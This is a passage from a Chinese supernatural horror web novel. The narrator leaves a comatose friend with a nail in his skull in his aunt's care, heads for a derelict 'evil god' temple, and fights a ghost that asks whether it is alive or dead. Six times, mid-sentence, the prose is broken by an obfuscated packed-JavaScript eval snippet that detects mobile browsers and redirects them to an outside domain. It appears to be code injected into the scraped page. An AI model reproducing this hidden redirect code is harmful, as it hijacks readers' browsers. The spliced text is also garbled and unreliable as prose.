其中几个人被迫离开了红石村,只剩下一个女人,一家人都死在火海里,精神受到了刺激,有些不正常,二婶可怜她,把她收留了下来,从此,两个孤苦伶仃的老太婆就相依为命。 那件事情过去了有差不多半年,**叔突然回来了,**叔是一个人回来的,没看到石头,二婶心里感觉不妙,一个劲儿的追问,**叔却对石头的下落只字不提,被问的紧了,他才告诉二婶,石头不能再露面了。 “阿**说……”二婶回忆到这里的时候,忍不住又看了看石头,前尘往事浮上心头,她肯定很难过,眼睛里泛着泪花,说道:“阿**说,石头现在回不来,但平安无事,我问他,石头究竟什么时候能回来,他告诉我,等这个村子彻底被人忘记的时候,石头就会回来,我信了阿**的话,就一直等,一直等……” “**叔当时一点都没告诉你,石头去了哪里?去干什么了?” “我怎么会不问,可阿**不肯说,我更觉得,村里之前那场大火,是因为阿**而起的,害怕再追问下去,又要惹出什么乱子,所以就不敢问了。” 我点了点头,心里在飞快的思索着。 红石村虽然距离王川山很远,但红石村的往事,让我不由自主的就想起了王川山小荒村的灭门**。 两个村子的状况不同,但我觉得,性质应该都是一样的。 灭门**不会无缘无故的发生,王川山的**,是因为要灭口,红石村的**,也是如此? 联想到二婶讲述的那些往事,我愈发的认定,石头不是一般人,而且,**叔很有可能知道石头的底细。 红石村的大火发生之前,村子应该就被盯上了,具体来说,是石头被盯上了。盯着石头的人很不放心,或许是觉得石头在这个村子里住,可能会告诉村民一些事情。 为了防止这样的可能,盯着石头的人干脆直接把整个村子化为了废墟。 我的脚底板噌噌的冒起了一股一股的凉气,这种手段,恐怕连我师傅都比不上。 我自己琢磨了半天,暂时也只能想到这里,至于石头的情况,仍然是一团模糊。 我也转头看了看石头,他还是不死不活的躺在床上,圆睁着双眼。 “石头……能吃东西吗?” “不会自己吃,只能硬给他灌,从他出事到现在,每天两次,给他喂东西,现在看起来还没什么事。” “没事就好,没事就好,这是我从小拉扯大的孩子,他哪怕就是不会动了,我也能照顾他。” 石头至少还活着,让二婶感觉到了一丝欣慰。可是我的心里,却承受着无尽的煎熬。 石头刚刚出现的时候,我还巴望着玉芬身上能有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15477383|167102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么奇迹。人总是这样,面对即便不可能的事情,心里却保留着一个念想。 但此时此刻,我已经百分之百的确定,我的发小玉芬肯定**,死的很彻底,就算神仙下凡,也不可能有什么奇迹发生。 现在最让我头疼的是,石头后脑勺的那颗钉子。我和二婶都取不出这颗钉子,只要有钉子在,石头可能永远都会是这个状态。 我很想把石头救醒,他身上不仅仅有玉芬的影子,更重要的是,石头的记忆里,肯定有不少非常紧要的线索。当时在风水地的地洞里,就能证明这一点。 只要时间充足,石头又能恢复过来,或许再遇上什么合适的契机,他就能回忆起更多的线索,这正是我目前急需的。 我想了想,二婶很疼爱石头,把石头先留在这儿,应该没什么问题,那样的话,我就能腾出手脚,再去找找合适的人,来帮石头把钉子给取出来。 “二婶,石头暂时留着这儿,你先照看他,我去想想办法,找人给石头取钉子。” “这孩子留在这里,你只管放心,就是……” 二婶的话还没有说完,突然间,沉寂了许久的石头,似乎有了那么一点点反应。 他浑身上下哪里都没动,只是两片嘴唇轻轻的颤抖着,这样子,和当时他说出红石村这个地名的时候,几乎完全一致。 我有了相关的经验,就知道石头多半是想说话。 “能听到吗?我是五满,能听到我说话吗?” 我急忙就趴到了石头身边,把耳朵贴在他的嘴边。现在不确定石头是不是真能说出话,但他只要说出一个字,我都必须要听清楚。 我能听见石头的呼吸声,二婶也在旁边帮忙疏导,趴了大概有两三分钟,石头的喉咙里,真的就传出了断断续续的音节。 “邪……” “别急,慢慢说。” “邪神……” “什么?什么邪神?” “邪神庙……邪神庙……” 第124章 再向虎山行 石头说出来的这三个字,我已经听清楚了。这一次和上次一样,三个字一说完,石头好像又进入了那种不死不活的状态,睁大了眼睛望着天花板,嘴唇也停止了颤动。 我知道,石头肯定不会再说什么了。 石头现在的这种状况其实让我很费解,他眼睛里的那只狐狸的影子已经被驱赶出去了,按道理说,应该不会再受到任何外力的影响。 但石头每次说话,都会说出一个地名,我甚至觉得,是一种无形的力量,促使他在这时候提供了邪神庙这个线索。 我想了想,从小到大,我都没有听说过什么邪神庙。 我转头看了看二婶,刚才石头说话的时候声音虽然低,但二婶就在旁边,她肯定能听得到。 “他说的邪神庙,我知道。” “二婶,你跟我讲讲。” “那个邪神庙,也算不上什么邪神,其实就是以前的五通庙。” 如今知道五通庙的人已经很少了,所谓的五通庙,供奉的就是五通神。 五通神,也叫做五显神,五郎神,历史很悠久。五通神是恶神,也是邪神,一般来说,民间的老百姓不太会供奉恶神。但在历史传说中,供奉五通神,家族后代可以巨富,就是在这种诱导之下,民间才会有很多人修建五通庙,来供奉五通神。 五通庙绝大部分都是南方地区,北方非常少。在距离红石村大概一百来公里之外的十里沟,有一座五通庙,是好几百年前的古庙了。五通庙兴盛了一段时间,后来被封禁,十里沟的那座五通庙,也就慢慢的没落。 因为北方老百姓不太懂得五通神的来历,只知道是能让人暴富的邪神,所以十里沟的那座小庙,在附近的民间被称为邪神庙。 邪神庙其实也没有彻底的没落,当时小庙被封禁的时候,只是拆掉了神像,房屋保留了下来。小庙荒废的时间久了,就有人过来占据。传闻这座小庙里有过挂单的游方僧人,有修道求仙的道士,还有一些魑魅魍魉。 小庙前后经过了好几次修葺,一直保存到了今天,因为地处偏僻,也不是什么真正的古刹,所以知道的人不太多。 邪神庙的来历,倒是没什么可说的,最关键的是,石头突然在此时提供了这样一条线索,就很耐人寻味。 其实我一直都觉得,这几天石头不能说话也不能动弹,可他应该保留着一定的神智。我琢磨着,石头是不是知道,邪神庙那边有人能够取出他后脑勺的钉子,所以才把线索说了出来。 我不敢确定自己的推测是不是对的,但既然石头说了这个地方,那无论如何都要去看一看。 “二婶,那个小庙现在还有人吗?” “不知道,我年轻的时候,去过一次,当时小庙里有个怪老头,头发稀稀拉拉的,正额头上有一块乌黑的胎记,看着挺渗人,我没敢久留,直接就走了。” “你年轻的时候,那也是几十年前了,估摸着小庙应该已经荒了。” “可能吧。”二婶低头看着石头,说道:“这孩子,这时候说了邪神庙,是怎么个意思?” “二婶,他就先留在这儿,我出一趟门。” 我已经做好了决定,事情发展到了这种程度,我心里已经有了很清醒的认识。不管是不是偶然,我和石头现在都已经被卷到这件事里来了,不管是他还是我,根本就躲不掉。 石头现在看起来好像没什么太大的问题,但脑袋里钉着一根钉子,怎么想都让人不踏实,我怕耽误的时间久了,会引发更严重的后果,所以全力节省时间,第二天一大早,我就收拾了一点东西,准备出发。 “小哥,我不在这里,我要跟你一起走。”大甜瓜估计也隐约知道了红石村这边的往事,一看到那些被烧的乌黑的院墙,还有被烧塌的房子,她就忍不住打了个哆嗦:“这地方怪吓人的。” “这村子现在已经没事了,二婶在这里,你怕什么?” “反正就是怕,小哥,我跟你走,别丢下我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15484459|167102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “甜瓜姐,你让我多活几年吧,带着你去邪神庙,万一有什么事,我自己一个人还能应付,再带上你,我非死不可。” 大甜瓜这个人其实还是很关心我的,尽管心里不情愿,一听到我说这几句话,她就不吭声了。 我一个人动身上路,最前面的路还可以坐车,到了离十里沟还有差不多二十公里的时候,就没有道路供车前行了,只能靠两条腿走过去。 我以前给人抬棺,虽然也到处乱跑,但十里沟一次都没来过,这地方水土不好,缺水,而且土地贫瘠,种什么都不长,不是个适合定居的地方,从很早以前,十里沟这边就没人长期居住。 一块土地越是偏僻贫瘠,就越是容易被人遗忘,很早以前,十里沟这儿有一个“化人场”。 所谓的化人场,其实也就是古代的火葬场,碰上灾荒之年,或者战乱纷争,尸横遍野,大批的尸体长期堆积,必然要产生瘟疫,所以各个村镇收敛了尸体之后,都要进行妥善处置,最好的办法就是送到化人场,一把火烧成灰烬。 可想而知,化人场也不是什么善地,一般都会修在远离居住点的荒僻之地。 不过,这里的化人场已经消失了一百多年了,只是心理作用,让人感觉经过这儿的时候会头皮发麻。 十里沟这边的地形不怎么复杂,二婶已经详细的跟我说了前往邪神庙的路线。我走到距离邪神庙大概还有七八公里的地方,走的还算是很顺利。 天已经黑了,我找了个地方坐下来吃干粮,一边吃一边就在考虑,是连夜继续走,先赶到邪神庙,还是在这里休息,到明天天亮再出发。 等吃完了干粮以后,我决定还是继续走,剩下的这些路迟早都是要走的,晚点不如早点。 前面一片荒芜,我心里就很担忧,这种鬼地方看起来方圆多少里都不可能有人烟,那个邪神庙估计也早就破败了,要是邪神庙没有人,石头指引我去那个地方究竟有什么目的? 第125章 中年人 这个问题一直在困扰我,我到这儿来的目的就是能救醒石头,但已经到了这里,有的情况就不是我能完全掌控的。 月黑风高,走了没多远,天就开始刮风,风呼啸着刮过荒野,呼呼作响。现在的天气还是比较热,但这地方入夜之后的气温明显比别的地方低,顶着风走了一会儿,我竟然觉得有点冷,忍不住裹了裹身上的衣服。 我一直都在计算走过的路程,然后判断还剩下多远。当我走到距离邪神庙大概还有六七里的时候,本来还挺宽的路,陡然收窄了,小路的右手边,有一片洼地。 洼地明显被修整过,一边是三个像是砖窑一样的东西,附近还有几座已经彻底塌陷的房屋。 屋子外面,是一片空地,架着三排木架子,看起来像是平时用来晾晒衣服被褥的。 我一看就知道,这是一个矸石窑,专门用来烧矸石的,看样子已经很长很长时间没人用了。 我们这边的山里,有很多矸石窑,这东西我见的多了,也不觉得奇怪。 但是,当我从矸石窑旁边经过的时候,就看到那三排木架子上面,有几件破旧的衣服和裤子,正在随风舞动。 我敢肯定,那就是很普通的衣服,只不过挂在木架子上很长时间,破旧不堪。可是,几件破衣服随风飘舞着,总给人一种阴森森的感觉。 就因为这几件来回飘动的破衣服,我忍不住就多看了几眼,谁知道,等看的清楚了些,我隐约看见木架子下面,乱七八糟的丢着很多鞋子。 鞋子肯定也是很久之前丢在这儿的了,有大有小,有黑有红,款式也是早年间的老款式,如今早就见不到了。 越看我就越是心惊,这种以前住过人的地方,看到一两只鞋,算是正常,可是木架子下头密密麻麻的丢了这么多鞋子,就让人觉得吃惊。 我定了定神,这里的情景看上去就带着三分鬼气,不过,我以前跟十里沟没有任何瓜葛,只是从这里经过而已,多一事不如少一事。 所以,我没有再跑过去仔细的看,只想着走了就是了。 我迈动脚步,很快就从这条小路走了过去,小路不算长,百十米之后,周围的地势就又拓宽了。 风仍旧呼呼的刮,等我走过这个已经废弃的矸石窑之后,就感觉气温好像更低了,身上的衣服裹的紧紧的,凉风依然不停的朝脖子里钻。 走了几步,我的感觉突然就不好了,猛的回过了头。 我觉得,一走过这片矸石窑,身后好像就有什么东西在跟着我,只是回过头以后,又什么也看不见。 我不知道是不是巧合,今天的天气本来还可以,但这时候半空就不断的飘浮着密密麻麻的云层,云层缓缓的移动,时不时的就遮挡住月光,暗夜中的光线断断续续,导致视线也受到了很严重的影响。 身后什么东西都没有,我就疑心是不是自己感觉错了,毕竟刚才看到的那几排木架子,让我觉得心神不宁,或许会产生精神压力。 我继续迈动脚步朝前走,又走了几步,那种被人跟着的感觉重新浮现出来。 深更半夜,又在这样的地方,出现这种感觉很让人心慌,我不得已,再次回过头,却还是什么都看不到。 心里这么一迟疑,脚步就慢了,我一边慢慢的走,一边在全神贯注的感应周围的情况。 大概十来分钟之后,我只走出去了不到五百米,半空的云层越来越多,一片一片的云飘过去的时候,月光就会被遮挡的密不透风。 当我不知道第几次回过头,再去观察周围的情况时,陡然间发现身后十来米之外,有一个人。 我的感觉果然没错,走到这时候,终于看到了一直跟在身后的人。 我顿时就警觉了,一下子停住脚步,目不转睛的朝后面看着。 因为光线的原因,视线不太清晰,我只能隐隐约约看出来,那应该是个男人,四五十岁的样子。 “走夜路的,都有急事,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15484460|167102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都大半夜了,你还在赶路,是有啥急事吗?” 我还没分辨清楚,那个人就开口说话了,因为一直在刮风,对方的声音传到我这边,就飘忽不定。 “你是谁?” “我?”那人见我停下来,自己也不走了,慢慢蹲了下来,说道:“我就是我呗,还能是谁。” “你不是也在走夜路?” “我这不算是走夜路,我家就在这里。” 大半夜的遇见这样的人,我心里很没底,可是,现在对方距离这么近,我要是什么都不管,直接就走,不知道后面还会发生什么。 “这附近都荒了这么多年了,有人住?” “现在是荒了,以前可没这么荒。”这人似乎是掏出了一根旱烟袋,然后打火点烟。 普通人打火,一般都用火柴,打火机那种东西在我们乡下并不算多见,我也不知道是不是视线太模糊了,就没看清楚那人掏出/火柴,对方好像一伸手,手里就冒出了一团火。 蓝色的火,不断的跳跃着,当那个人用火去点烟的时候,我看见他果然是个四十多岁的中年人,非常瘦,脸上有一道很深的疤痕。 我心里不踏实,不知道对方究竟是什么意图。我觉得,自己就算现在继续朝前走,对方肯定也会继续跟上来。 “以前这里没荒,但现在总归是荒了,你还住在这儿?” “可不是嘛,就住在后面的矸石窑,以前啊,有好几个人都在那边住,我也跟着他们一起烧矸石,后来,他们都不在了,就剩下我一个人。” “一个人住在这儿,不害怕吗?” “那有什么害怕的。”中年人抽了口旱烟,说道:“经常有人去看我,我一点都不害怕。” “住在这地方,还经常有人来看你?” “怎么,你不相信?你刚才从矸石窑路过了,有没有看见,院子里丢着很多鞋?那些鞋子,就是看我的人留下的,来一个人,就留一双鞋。” 第126章 问生死 这个中年人的话,无疑又让我想起刚才看到的那些密密麻麻的鞋子,心里只觉得膈应的慌。 与此同时,我还隐隐的感应到了一丝危险。我不敢离那个人太近,一直保持着差不多十米左右,对方暂时也没靠近,就坐在那里抽烟。 我只能先保持镇定,对方既然开口说话,我就得接下去,看看能否试探出他究竟是什么身份,有什么意图。 “那些人为什么会留下鞋子?” “都是些可怜人啊。”中年人叹了口气,说道:“世间万物,唯人最苦,人活这一辈子,要受多少罪?那些人专门从外面到这里来,求个清静,但是越想,心里就越是憋屈,最后……自己把自己吊死在木架子上了。人一死,脚上的鞋都掉到了地上。” “这些人,都想不开了?” “都是些小肚鸡肠的人,我跟他们说话,还一个劲儿的劝他们,凡事想开一点,心眼越大,活的就越轻松。可每次说不了几句,他们就受不了了,自己非要死,能有什么办法?” 当我听到这里的时候,心头的危机感就更重了。一直到此时,我才觉得这个中年人说话神神道道的,话里话外都透着一股让人胆寒的诡异气息。 “我还有事,先不说了。”我作势转身要走,想看看这中年人会有什么反应。 “急着赶路,也不急在这一时半会儿的,再聊聊。” 我这边一动,中年人也跟着站起身,尾随在我后面。事情和我想的一样,我既然被他给跟上了,估计是不好甩脱。 “咱们也不熟,有什么可聊的?” “就因为不熟,我才想和你聊,要是熟人,我就不说了。” 我们俩一边朝前走,一边对话,这时候,我突然又觉得,那个中年人的身影,恍恍惚惚,就仿佛一团虚无的影子,随着半空中月光的闪烁,时隐时现。 我越是想看清楚,却越是看的模糊,对方一直都跟在身后十米左右的地方,我走的快,他就跟的快,我走的慢,他就跟的慢。 不管对方怎么样,我都保持着一定的冷静,这时候越是慌乱,估计越会出乱子。 就这么一前一后的走了几百米远,身后的中年人好像是有点躁动,脚步也快了一些,一边走一边说道:“你走那么快干什么?” “没啥可说的。” “这样吧,我问你个事,问完我就走,行不行?” “你要问什么事?” 我听到对方的话,再次停下脚步。 中年人这一次靠近了一些,离我估计也就是六米左右。这个距离已经很近了,然而,我的眼睛好像在这一刻不好使了,看着中年人,依旧觉得他朦朦胧胧的。 “我就问一个事。”中年人站在那边,弯了弯腰,脑袋朝前探了探,慢慢的问道:“你觉得,我**,还是没死?” 一听到中年人的这个问题,我的脑袋嗡的一下就大了。 我一直都在怀疑这个中年人的意图,现在我终于明白了,我遇见了最最难缠的怨灵。 因为我还年轻,很多事情并没有亲身经历过,好在我有个见识渊博的师傅。 师傅还活着的时候,我们俩除了帮人抬棺,也没别的事情,师傅就会跟我讲些事情,增加我的见识。反正白八门的人天天跟**打交道,遇见怪事的几率比一般人、大的多,所以师傅讲的,大部分也是那些神神鬼鬼的事。 有一次,师傅带我到几十里之外一个村子抬棺的时候,凑巧碰见那个村子里有个人,被黄皮子给缠上了。这人也没有得罪黄皮子,就是半夜回家的时候遇上的,其实,这种事情是民间老百姓常说的黄皮子讨封。 讨封是个无解的死局,怎么回答都不对。这人就是这样被缠上的,最后还是村里人出主意,帮忙凑了些钱,到很远之外的一个堂口请了个出马。 出马的人都带着仙家,八大仙家本是同源,出马身边的仙家帮忙说和,最后让村里人上了三天供, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15488607|167102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又烧了三天香,最后把黄皮子请走了。 跟黄皮子讨封齐名的,就是怨灵“问生死”。 这种事情,也是无解的死局,怨灵本就**,被问到的人如果回答对方没死,怨灵会觉得受骗,要是回答对方已经**,怨灵又受不了。 一旦碰见了问生死,那就百分之百的甩不脱怨灵,会被一直缠着,而且,问生死比讨封要严重的多。因为讨封的仙家不管怎么说,都是活的,而且很有灵性,遇到别的仙家,说不准可以攀上点交情,最后勉强作罢。 而问生死的怨灵,本身就没什么灵智可言,跟谁都攀不上关系,也就不存在和解的问题。 我算是明白了,中年人没骗我,之前死在木架子那边的那些人,一定都是被他给缠上,最后实在承受不住,才一**之的。 我的手开始发抖,我最害怕的就是遇见这种情况,对手就是怨灵,我应付不了。 我开始下意识的朝后退,那个中年人看见我想走,顿时又急躁了。 “我不是问你了?你倒是说啊,我究竟是**,还是没死?” 我暂时不敢回答,师傅当年跟我讲这件事的时候,说怨灵被激怒,肯定是因为听到了回答,如果被问的人始终拖着不回话,怨灵想知道答案,会一直缠着被问的人,不过暂时不会把对方怎么样。 我的脑袋一个劲儿的在冒冷汗,不知道是不是自己倒霉,师傅跟我讲这种事情,只是讲了讲,也没有说怎么去应对,因为怨灵问生死的现象太罕见了,别的人就算想遇见这种事,打着灯笼天天在坟地里转悠,也很难碰上。 而且,一直拖着也不是办法,怨灵和寻常的魂念不一样,即便到了白天,也甩不脱怨灵,就算光天化日之下,怨灵不能作祟,但它能一直跟着我,不管走出去多远,都不可能逃得掉。 此时此刻,我实在是没有别的对策,身上那些平时用来镇邪的东西,对付不了这种怨念极其深重而且执拗的怨灵。 第127章 黑气消散 此时此刻,我只能先朝前面走,尽量离这个“中年人”远一些。但我估计没什么用,这种“问生死”的怨灵只要缠上了谁,一般都不会轻易放弃,我只是全力拖延一下时间,看看有没有什么转机。 不断的前行之中,我一只手悄悄拿出了一张镇棺符,另只手握住了一把小木剑。这玩意儿是铁拐李的遗物,本来是交给大甜瓜留个念想的,大甜瓜算是厚道,专门又拿给我防身。 “你别跑……别跑……” 我朝前埋头猛跑的时候,那个中年人就在后头紧追不舍。这时候,我已经能看出个大概了,中年人似真似幻,看起来像是个人,但奔跑中又像是一团缥缈的影子,脚不沾地一般贴着地面滑动。 在这样的情况下,我肯定跑不过对方,拼命前奔了大概有几百米,一条大概四五米宽的土沟就阻挡住去路。 我以前从来没到过这个地方,二婶给的也只是一条路线,路途中的具体地势一无所知,土沟虽然不算深,但在这种危急时刻冒险跳到沟里,万一爬不上去,那就彻底完蛋。 “你老跟着**什么!” 我被迫在土沟跟前停下了脚步,回头一看,中年人距离我已经很近了。 “你这个人怎么没有一点礼数?我刚才不是问你话呢?你不吭声也就算了,竟然转身就跑,跑什么呢?” “你问我,我就得回答你?” “你非答不可。” “我要是不答呢?” 我是在全力的拖延时间,同时眼睛不断朝四周张望,在寻找应对之策。 谁知道,这个中年人听到我的话之后,脸一下子就变了。 他的身影和模样本来就有点模糊,在昏暗且明暗交替的夜色里,更显得诡异莫测。我能看到他的脸庞瞬间变的铁青铁青的,但是还没等我反应过来,铁青的脸庞又唰的一下子,如同充了血一样,一片猩红。 我的手隐隐藏在背后,镇棺符是用来对付尸变的,对这样无形的怨灵作用不大,如今只能把希望都寄托在铁拐李留下的那把小木剑上,看看能不能先抵挡一阵子。 “我问你,我到底是活着,还是**……” 我站在土沟的边缘严阵以待,中年人的脸色唰唰的来回变幻了几次,紧跟着,他的声音也开始变的阴郁不定,一会儿像是苍老的老人,一会儿又像是半大孩子。 我看见他的面容也如同走马灯似的,这一秒钟还是原来的样子,下一秒钟就变成了枯瘦如柴的老头儿,再一转眼,脸盘却又变成了一脸忧郁的女人。 短短一瞬间,中年人的脸至少变了几十次,一张一张陌生而又诡异的面庞,在我的视线中不断的闪烁。 “你不答我的话,我就不走了,快回答我……” 中年人一步一步的紧逼过来,他的脸在不断的变幻,男女老少,百人百面,这一张张闪烁而过的脸,其实都是中年人以前活生生缠死的那些人。 身前时不断靠近的中年人,身后就是那条土沟,当对方离我就剩下不到四米远的时候,那种浓重的危机感,已经压的我喘不过气了。 “快回答我……” 中年人的身影陡然间从三四米之外一下子飘到了我的眼前,快的如同一道闪电。幸亏我时刻都在提防着,当对方闪到眼前的那一瞬间,我一把甩出手中的镇棺符。 镇棺符上面几个用朱砂写出来的符箓,嘭的一声爆散了,和我想的差不多,这种对付尸变的东西,拿来应对怨灵,几乎没什么作用。 与此同时,我的心又忍不住一阵颤抖,镇棺符能发挥多大的用处,完全是看我遇到的危险程度。以前帮人抬棺出殡,如果棺材里的尸体真的不对劲,最多就是把镇棺符从棺材上面给震下来。 我从来没有遇见过镇棺符会一瞬间就爆散的情况。 眼下已经来不及多想什么了,镇棺符虽然起不了多大的作用,但符箓是朱砂写出来的,爆出的那团红光让飘动的中年人顿了顿。 趁着这个机会,我学着以前铁拐李的样子,抬手就丢出那把小木剑。这东西在铁拐李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15488608|167102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手里几十年,已经是辟邪的利器,尽管我不知道该怎么用,但甩出小木剑之后,木剑宛若一道流光,从中年人的身影一穿而过。 中年人的身影像是一片泡沫,在木剑穿过的那一瞬间就消散了,化成丝丝缕缕的淡淡的黑烟。我心里一阵惊喜,铁拐李留下的东西,真的是有用的。 小木剑绕了一圈,啪嗒一声落到地上,我飞快的捡起小木剑,但一口气还没喘完,飘荡在四周的丝丝缕缕的黑气,就好像要重新凝聚起来。 我只觉得不妙,同时也知道了事情的严重。我不是铁拐李本人,不懂得如何驾驭这把小木剑,发挥最大的威力,木剑出手,最多也只是把中年人的影子打散而已。 “你的死期到了,死期到了……你不回答我的问题,还想还手……” 果不其然,那些丝丝缕缕的黑气还没有完全聚拢起来,中年人的声音已经在模糊的影子里飘散了出来。怨灵本身就是极强的怨气所化,一旦把怨灵彻底激怒,那种凄厉的戾气,简直就是最可怕的东西。 我知道,这把小木剑不可能完全灭杀中年人,趁着对方还没有完全聚拢成完整的影子,我转身就跳到了身后的土沟里。 土沟并不深,现在又面临着生死关头,落到底儿之后,我立刻开始朝对面爬,三下五除二就爬了上去。 头顶的天色愈发的昏沉,前面稍远一点的情景就看不清楚了,而且过了这条土沟之后,地面明显比之前坎坷的多,我跌跌撞撞的朝前跑着,最多也就是七八分钟之后,我的脊背上,又冒出了一层鸡皮疙瘩。 我猛然一回头,就看到中年人的影子已经完全聚拢了起来,而且来势非常迅猛,已经追到了身后很近的地方。 我的心头一紧,还没想好该怎么办,陡然间,中年人的身影好像被什么东西震了一下。 他的身影又一次化为了丝丝缕缕的黑气,但这一次飘散的黑气直接消弭在了眼前的夜色里。 在黑气消弭的同时,我还能听到中年人凄厉到极点的嘶吼。 第128章 血槐花 耳边若有若无的嘶吼声让我愣住了,我不敢相信自己的耳朵,停下脚步朝后面看了看。 中年人的影子真的彻底消散了,我能看到那些飘散的黑气在空中湮灭。 这是怎么回事? 我一时间满头雾水,刚才我只顾着朝前跑,根本就没有反击,这个中年人的影子是怎么突然就散掉的? 因为中间的过程我没有看清楚,也推测不出来具体的原因。起初,我还是害怕中年人在搞什么猫腻,但是观察了片刻,影子完全消失在视线中,看起来应该不是假的。 自然而然的,我就怀疑周围是不是还有什么别的东西。我抬起头,朝着朦胧的夜色中眺望,入眼一团漆黑,不仅看不到什么,也听不到什么。 附近完全安静了下来,好像什么也没有发生过,我观察了好一会儿,最后只能继续朝前走。 这一次,我就又提高了警惕。不过走了一会儿,我想起师傅当年跟我讲过的那些传闻,在某一片很大的范围内,这种“问生死”的怨灵,只会有一个,而且,只要有这种怨灵,别的什么孤魂野鬼,都不会存在。 也就是说,我现在至少不用太担心再有什么神神鬼鬼的东西。 只不过,一回想起那个中年人的影子消散的情景,我心里始终像是扎了一根刺,很不舒服。 渐渐的,我放慢了脚步,天已经完全阴沉了,光线变的更加暗淡,差不多十米之外的景象就非常的模糊。月黑风高,又看不清楚,尽管距离目的地已经不太远了,但我还是不敢冒进。 又走了大概几百米的样子,周围已经黑的伸手不见五指,迫不得已之下,我只能暂时停住了脚步。 虽然天气很阴沉,可是夜风完全停止了,不仅黑乎乎的,而且还听不到任何声音,一片死一般的沉寂。我停下来之后,就暂时不敢乱动,靠着一块大石头,一边休息,一边全神贯注的感应着。 时间在无声的流逝,从半夜一直到黎明,所幸的是,再没有发生什么异常情况,终于快熬到天亮了。 现在阴天,天该亮的时候,还是模糊一片,我站起身试探着又开始朝前走,磨磨唧唧的走了好半天,光线亮堂了些,算是能看到远处的大概景象。 我预料的没错,小路的远处,是一左一右两座小山,左边的小山高一点,右边的低一点,二婶和我说过,这一高一低两座小山就是非常显眼的目标,那座邪神庙,就在左边的小山山脚下。 天渐渐发亮,我心里多少就踏实了一点,不管怎么说,白天总比晚上安全一些。天越来越阴,看样子还要下雨,我径直朝前走,到了两座山相邻的地方,脚下的小路就朝着左边转了弯。 顺着小路继续朝前面走,大概五六百米之后,两棵老松树就隐隐映入眼帘。这同样是邪神庙的标志,破庙的外面种着两棵老松,估计有几百年的历史了,枝繁叶茂。 当我看到邪神庙的轮廓时,就觉得有点不太正常。整个十里沟的土地都非常贫瘠,尤其是缺水,到处都是光秃秃的,植被相当稀疏。 但邪神庙这方圆几百米的范围内,却绿意盎然,小庙外面不仅有两棵老松树,竟然还有一片北方很少见的竹林。 除了这些,小庙附近的草丛连绵不断,就仿佛是独立于十里沟的一片小天地,生机勃勃。 我不知道这是什么原因造成的,自然而然的就觉得这个已经延绵了几百年的小破庙,果然有不寻常之处。 邪神庙前后修葺了很多次,二婶和我说过,最后一个借住在邪神庙里的,是个脸上有胎记的老头儿,时间过去几十年,我不知道小庙现在还有没有人,站在距离小庙四五十米的地方看了半天,也没看出个究竟。 反正一切还是得小心从事,我猫着腰,从旁边缓缓靠近,到了小庙右侧的时候,我蹑手蹑脚的找了个地方躲了起来,打算先观察一会儿,看看具体的情况如何。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 